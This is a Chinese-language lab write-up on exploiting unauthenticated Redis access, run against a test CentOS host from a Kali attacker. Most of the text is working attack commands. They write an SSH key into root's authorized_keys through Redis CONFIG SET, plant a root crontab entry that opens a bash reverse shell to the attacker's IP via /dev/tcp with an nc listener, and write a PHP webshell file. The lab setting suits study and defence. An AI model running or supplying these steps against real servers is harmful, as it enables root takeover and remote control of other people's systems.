一、漏洞简介
什么是redis
redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。
redis 是一个高性能的key-value数据库。redis的出现,很大程度补偿了memcached这类key/value存储的不足,在部 分场合可以对关系数据库起到很好的补充作用。它提供了Java,C/C++,C#,PHP,JavaScript,Perl,Object-C,Python,Ruby,Erlang等客户端,使用很方便。
redis未授权访问漏洞
redis 默认情况下,会绑定在 0.0.0.0:6379,,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作。
漏洞的产生条件有以下两点:
(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。
本次复现主要是:
1.Redis以root身份运行,给root账户写入SSH公钥文件,直接通过SSH登录受害服务器
2.将文件写入周期性计划任务,然后接受反弹shell
3.如果搭建了web服务器,写入webshell,控制服务器(此处因为是自己搭建的测试环境,只是将文件写入了/tmp目录,真实情况需要修改)
准备环境:
攻击机(kali):192.168.163.131(需要自己搭建redis-cli,和服务器端搭建步骤一样)
靶机(centos):192.168.163.132
二、环境搭建
(1)下载redis压缩包
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
(2)将压缩包放入指定路径,并且进入指定路径
cp redis-2.8.17.tar.gz /root/Desktop/redis/redis-2.8.17.tar.gz
cd redis
(3)解压压缩包,进入指定路径redis-2.8.17,进行安装
tar xzf redis-2.8.17.tar.gz
cd redis-2.8.17
make
(4)进入到src路径下
(5)将redis-server和redis-cli拷贝到/usr/bin目录下,后续方便直接启动redis服务器并且将redis-2.8.17目录下面的redis.conf拷贝到/etc下面
cp redis-server /usr/bin
cp redis-cli /usr/bin
cp redis.conf /etc/redis.conf
(6)启动服务
redis-server /etc/redis.conf
三、漏洞复现
3.1 利用“公私钥”认证获得root权限
(1)未授权访问连接(无法连接)
redis-cli -h 192.168.163.132
(2)因为是本地搭建,没有开启6379端口对外开放,此处为了方便,直接关闭服务器(靶机)的防火墙
/etc/init.d/iptables stop
(3)kali攻击机未授权访问连接
redis-cli -h 192.168.163.132
keys *
(4)在攻击机中生成ssh公钥和私钥,密码设置为空:
ssh-keygen -t rsa
(5)进入.ssh目录,将生成的公钥保存到1.txt:
cd /root/.ssh
(echo -e "nn"; cat id_rsa.pub; echo -e "nn") > 1.txt
(6)将保存ssh的公钥1.txt写入redis(使用redis-cli -h ip命令连接靶机,将文件写入):
cat 1.txt | redis-cli -h 192.168.163.132 -x set crack
(7)并使用 CONFIG GET dir 命令得到redis备份的路径:
CONFIG GET dir
(8)更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh),并且修改上传公钥文件的名称为authorized_keys
config set dir /root/.ssh
CONFIG SET dbfilename authorized_keys
(9)检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出,至此成功写入ssh公钥到靶机:
CONFIG GET dbfilename
save
(10)查看服务器端已经成功写入
(11)攻击机成功登陆到服务器
ssh -i id_rsa root@192.168.163.132
3.2利用crontab反弹shell
在权限足够的情况下,利用redis写入文件到周期性计划任务执行。
(1)在kali攻击机里面监听指定端口
nc -lvnp 8888
(2)向服务器写入文件
set xxx "nn*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.163.131/8888 0>&1nn"
config set dir /var/spool/cron
config set dbfilename root
save
3)查看服务器端的写入情况
(4)Kali攻击机已经可以连接了(得到了反弹shell)
3.3写入webshell
此处因为是自己搭建的测试环境,只是将文件写入了/tmp目录,真实情况需要修改,将文件写入web路径
(1)写入文件到/tmp目录
config set dir /tmp
config set dbfilename shell.php
set webshell "<?php phpinfo(); ?>"
save
(2)查看服务器
备注:
写入webshell的时候,可以使用:
set x "rnrn<?php phpinfo();?>rnrn"
rnrn代表换行的意思,用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。
原文链接